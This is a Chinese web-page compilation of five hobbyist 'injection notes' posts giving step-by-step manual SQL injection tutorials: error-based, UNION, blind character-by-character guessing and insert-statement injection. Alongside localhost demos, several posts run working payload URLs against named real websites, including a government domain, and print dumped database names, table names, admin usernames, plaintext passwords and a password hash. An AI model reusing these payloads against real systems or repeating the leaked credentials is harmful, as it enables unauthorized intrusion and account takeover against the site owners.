注入笔记半猜解查询脚本安全
“tanao2006”通过精心收集,向本站投稿了5篇注入笔记半猜解查询脚本安全,今天小编在这给大家整理后的注入笔记半猜解查询脚本安全,我们一起来阅读吧!
篇1:注入笔记半猜解查询脚本安全
学了联合查询,只能说确实很强大,那么联合查询是不是有注入点就能使用呢?答案是否定的,什么?不信?那么我来给大家找个站演示下。
这里本机搭建环境,先访问一个带参数的页面,测试是否存在注入点。
localhost:/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误
因为是字符型所以用' and '1'='1 和' and '1'=2来判断是否存在注入点。
在用order by来监测下长度。localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 报错,很明显不可能,难道是字符型的注入不行?那么我们来找个数字型的。
找到数字型注入,长度为16,localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+order+by+16
16返回正常
17返回错误
那么用联合查询查询一下,这里已知道管理表名与字段。管理表名:Manage_User,字段:username,password
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+Manage_User 很郁闷,界面里显示12,不懂,那么在1和二中换下字段名看下吧。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=2+union+select+username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+Manage_User 还是返回12,彻底郁闷了,小菜不解。继续换回字符界面输入localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2+union+select+username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+Manage_User
可是还是没有显示用户名及密码。如图:
这就郁闷喽,如果只会联合查询,那么我们就拿不下这站点了。
可是手工注入中还有一个半猜解查询,我们用半猜解查询来试试。
判断是否存在注入点也是用and 1=1和and1=2或字符型' and '1'='1和' and '1'='2
半猜解查询和联合查询不同,半猜解查询要先要查询是否存在某个表。
语句: and 0(select count(*) from admin) ---判断是否存在admin这张表
或 and (select count(*) from admin)>0
本人比较喜欢用后面那句,检测如何存在猜解表则返回正确,如果不存在则报错。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+count(*)+from+manage_user)>0 返回正常,说明存在manage_user表。
下面我们来判断下manage_user表存在几条内容。
语句:and 0<(select count(*) from admin)
或 and (select count(*) from admin)>0
语句说明,查询admin表中所有数据是否大于0,如果大于则成立,如果小于则不成立,
当然了,这里一般都是存在数据的,所以必然大于零。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+count(*)+from+manage_user)>0
大于零返回正常,大于一返回错误,那么说明只存在一条数据。
下面就要来猜解字段名称,为以后拿到用户名密码做准备。
语句:and (select top 1 len(admin_user) from admin)>0
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(username)+from+manage_user)>0 返回正常。存在username字段。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(password)+from+manage_user)>0 返回正常,存在password字段。
当然了,前面我们早已经知道了,如果不知道还得慢慢猜,这里也是一样,存在返回正常,不存在返回错误,和写作业一样,如果老师出的题对了猜会给你一个对号。
下面就要来猜解指定字段内容长度了
语句:and (select top 1 len(admin_user) from admin)>0
这里建议大家从>3开始试验,因为很少有1位或2位的用户名,除非是汉字,
这里我猜解到长度为:5,这里我分别使用大于和等于两个来判断的。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(username)+from+manage_user)>4 大于4,返回正常
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(username)+from+manage_user)=5 等于5,返回正常
大于4且等于5那么长度当然为5拉
猜解内容
and 1=(select top 1 count(*) from admin where Asc(mid (username,1))=97)
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=(select+top+1+count(*)+from+manage_user+where+Asc(mid+(username,1))=97)返回正常
说明第一位的asc码为97,转换过来为a,之后逐个猜解。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=(select+top+1+count(*)+from+manage_user+where+Asc(mid+(username,1))=100)返回正常
结果为D,
最后猜解到用户名为:admin 密码的猜解只要把+and+1=(select+top+1+count(*)+from+manage_user+where+Asc(mid+(username,1))=100) mid后面的username换成password在逐个猜解就OK。
好了就到这里吧,这也是入门篇的最后一章,下一节课我们就要进入提高部分了。
篇2:注入笔记联合查询脚本安全
学习了如何判断注入点,那么这章就要学到真正能获取敏感信息的语句了,这一章我们要学习最简单的联合查询语句,
名词解释:
联合查询:通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询
注入一个网站时我们先要判断是否存在注入点,我们先来判断一下。
为了显示的更简洁明了我把空格替换为+号,因为当我们在提交后url会把空格转换为%20
先用 and 1=1 和 and 1=2 查询是否判断注入点,
www.lanxum.com/special.asp?id=198+and+1=1返回正常
www.lanxum.com/special.asp?id=198+and+1=2返回错误
说明存在注入点。
下面我们就要用到order by语句来查询数据库中存在多少数据表
比方说数据库中有10个表,那么order by 10就会返回正常 如果我们去查询是否存在11个表,那很明显数据库中没有11个表,当然会返回错误。
这里我查询到此站数据库中存在19个数据表,
order by 19返回正常
order by 20返回错误
确定数据库中存在19个表,那么下面我们就要查询敏感表信息了。比方说管理员表,一般为admin,user等,这里就要大家经常去收集了。
查询存在表用到的语句为and 1=2 union select 1,2,3,4,5,6,7,8,9 from 表名,当然这里后面为数字类型
如果为字符类型就要改为' and '1'='2 union select 1,2,3,4,5,6,7,8,9 from 表名
union 为联合的意思 select为查询的意思,大家可以直接用英语翻译单词,这样容易我们理解,
这里我们输入:www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
返回:
这里的一些位置出现了数字,这说明存在admin表。这些数字对应的是地址栏select后面对应一次的数字。
如果我们查询的表不存在则会返回错误页面。
我么查询下user表:www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+user
返回:
返回了错误,说明不存在user表。
下面我们就要来猜指定表段内的内容了。用法直接在返回页面对应的数字内输入我们想猜测的字段名就OK。
这里我猜admin表中name字段。
www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
在2位置替换为name,返回了用户名,说明存在name字段,得到的用户名只是第一条数据内容,我们在来查询pass字段。
www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,name,3,4,5,6,pass,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
返回了16位md5加密的密码,当然了这里我早已测试好了字段与表段的名称所以一下就会猜出来,如果管理员把表段与字段名字改的很复杂,那么我们很可能猜不到。
好了联合查询就到这里吧
篇3:insert注入笔记脚本安全
Author:昆仑男银
群里有人在问insert型的怎么注射,insert类型的我还没碰到过呢,就去看了看,做了一下笔记备忘,
www.kunlun.com/nanyin.aspx?ProID=49579' 加一个点,报错
是insert类型的语句,百度了一下,对insert语句的注射大致有个了解,于是开始刺探信息。
提交:www.kunlun.com/nanyin.aspx?ProID=49579',cast(@@version/**/as/**/int),null);--
不兼容...把int换成varchar,页面返回正常。。。百度一下,原来是mssql不允许将text或ntext型数据直接转换为int型
要想爆出信息看来得找个varchar 或nvarchar类型的字段,把后面2个对换了一下位置,成功爆出。
提交:www.kunlun.com/nanyin.aspx?ProID=49579',null,cast(system_user/**/as/**/int));--
在将 nvarchar 值 'AFDataLogin' 转换成数据类型 int 时失败。
很好,再接着爆信息,收集的一些如下。
version:Microsoft SQL Server - 9.00.4035.00 (Intel X86)......Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
servername:SQL2005
host_name:IBM1
db_name:kunlun
user_name:dbo
可以看出 web与数据库分离,看来想差异备份或log备份是不行的了,只能爆后台帐号、密码进后台了。
先爆一下库,构造
www.kunlun.com/nanyin.aspx?ProID=49579',null,null);select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=1/**/and/**/1=(select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=1)--
修改第最后一个dbid的值,爆出13个库...
1:master
2:tempdb
3:model
4:msdb
5:kunlun_BBS
6:kunlun
7:New_AF
8:AF_Back
9:Console
10:Newkunlun
11:Newkunlun2
12:Oldkunlun
13:NewBBS
接下来爆表名
构造: www.kunlun.com/nanyin.aspx?ProID=49579',null,null);select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=1/**/and/**/1=(select/**/top/**/1/**/name/**/from/**/sysobjects/**/where/**/xtype='u'/**/and/**/name/**/not/**/in(select/**/top/**/0/**/name/**/from/**/sysobjects/**/where/**/xtype='u'))--
修改第二个top的值,从0递增上去,
爆第六张表时很开心,马上去爆字段、密码。
1:AF_UserAccount
2:YX_Unit
3:AF_UnionCompany
4:YX_FlashXZ
5:AF_UserPointLogs
6:Buy_Admin
爆指定表Buy_Admin的字段
www.kunlun.com/nanyin.aspx?ProID=49579',null,null);select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=1/**/and/**/1=(select/**/top/**/1/**/name/**/from/**/syscolumns/**/where/**/id/**/in/**/(select/**/id/**/from/**/sysobjects/**/where/**/name='Buy_Admin')/**/and/**/name/**/not/**/in/**/(select/**/top/**/0/**/name/**/from/**/syscolumns/**/where/**/id/**/in/**/(select/**/id/**/from/**/sysobjects/**/where/**/name='Buy_Admin')))--
爆出来了,一样是修改第二个top的值。
密码:af_APass
ID:af_ID
用户:af_AName
看到name和pass很开心啊,马上爆内容。
提交:
www.kunlun.com/nanyin.aspx?ProID=49579',null,null);select/**/*/**/from/**/Buy_Admin/**/where/**/af_ID=2/**/and/**/1=(select/**/af_AName/**/from/**/Buy_Admin/**/where/**/af_ID=2)--
爆出来了,还是明文的,呵呵,找后台登录。
hjbadmin hjbmanager
yck' yck
高兴早了,怎么也登录不了。唉,再爆表把,爆到第N张,看见YX_Manage,开心了,这回没错了,爆字段爆内容
YX_AdminUser YX_Pwd
hgnadmin 50252EC697150CC9AA69A47333C716B8
可惜啊,md5解密不出....到这里差不多就结束了。很晚了。
哦,忘了说了,这个是dbo权限,呵呵。
篇4:注入笔记判断数据库脚本安全
前面学习了注入语句和对注入语句的解释,那么很多朋友可能还不会区分和判断注入的网站到底使用的是数据库,那么这节课就来学习利用注入点判断数据库类型,直接进入正题。
我们要让网站报错首先需要去掉浏览器一个设置,否则将看不到报错信息,
设置方法:打开浏览器--工具--internet选项--高级--找到显示有好http错误信息去掉前面对号如图:
做好准备工作后我们就可以进程判断了,否则将不会显示我们想要得到的信息。
我们先来看看access数据库的情况。
我们先在www.zxw114.com.cn/news/news_list.asp?id=35203后面加个单引号(')看看。
出现错误,Microsift JET Databse Ebgine 这里JET就代码是Access数据库的意思。
如果不出现如上错误,我们可以先用sql server的判断看看是否是sql server或判断mysql,如果都不是那么就很有可能是access数据库。
---------------------------------------------------------------------------------------------------------------------------------------------
那么我们接着在来看下SQL Server数据库的报错。
小记:SQL Server也简称为mssql
我们在来看看这个站:www.gwytb.gov.cn/lajm/tzqyxh0.asp?lajm_m_id=60后面加上单引号(')看看。
通用出现错误:Microsoft OLE DB Provider for ODBC Drivers 这里就是mysql数据库的意思,什么?不信?那么我们把这个网址仍到啊D里看一下,
那么如果网站不会报错怎么办,比方比方说我们在此网站输入单引号,内容消失。不出现任何提示,那么我们可以来查询下mssql的内置表来判断,
命令:and exists (select * from sysobjects)--
页面返回正常,说明我们查询到了此表,就可以推断出此网站数据为mssql。如果报错,那么久说明不存在。
我们还可以用and user>0来判断。
小记:user为mssql内置用户组。
一般使用此方法或爆出错误,如:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]第 1 行: '>' 附近有语法错误。
/lajm/tzqyxh0.asp,行 21
------------------------------------------------------------------------------------------------------------------------------
下面我们在来看一下mysql的环境搭建的网站,mysql很少会出现如此的报错,那么我们怎么区分呢,我们可以在网站后面加入/*或/#来判断,如果返回正常那就是mysql
www.runjiapt.cn/product.php?id=11此站位php网站,一般php都随mysql一起搭建。那么我们来看一下
先在网站后面网址后面输入/#
弹出一个窗口,请输入正确ID,那么我们在来看一下/*的结果
返回正常页面。
此方法具体实现原理暂时未找到解答。
篇5:注入笔记手工注入字符型注入漏洞脚本安全
今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,
首先打开localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包 /很明显,字符型注入,
前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2 我们来看看。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。
我们确定了注入点那么我们先看看数字型注入能否在这里使用
先用联合查询 order by
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 很明显,出错啦,不可使用。
那么再用半猜解查询试试
同样出错。
看来字数字型注入在字符型注入中失效啦,那么我们来试试
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。
在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。
下面我们来猜字段名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''=' 返回正常,存在,
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''=' 返回正常,存在。
这里我只截一张图。
下面判断一下username中字段长度
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''=' 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''=' 返回正常
密码字段省略。下面进行猜解用户名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''=' 返回正常,username表中第一位是ascll码97,明文为:a
接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='
返回正常,username字段中第二位ASCLL码为100,名为为d
这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。
这里说明我们猜解正确。
【注入笔记半猜解查询脚本安全】相关文章:
8.说安全半台词






文档为doc格式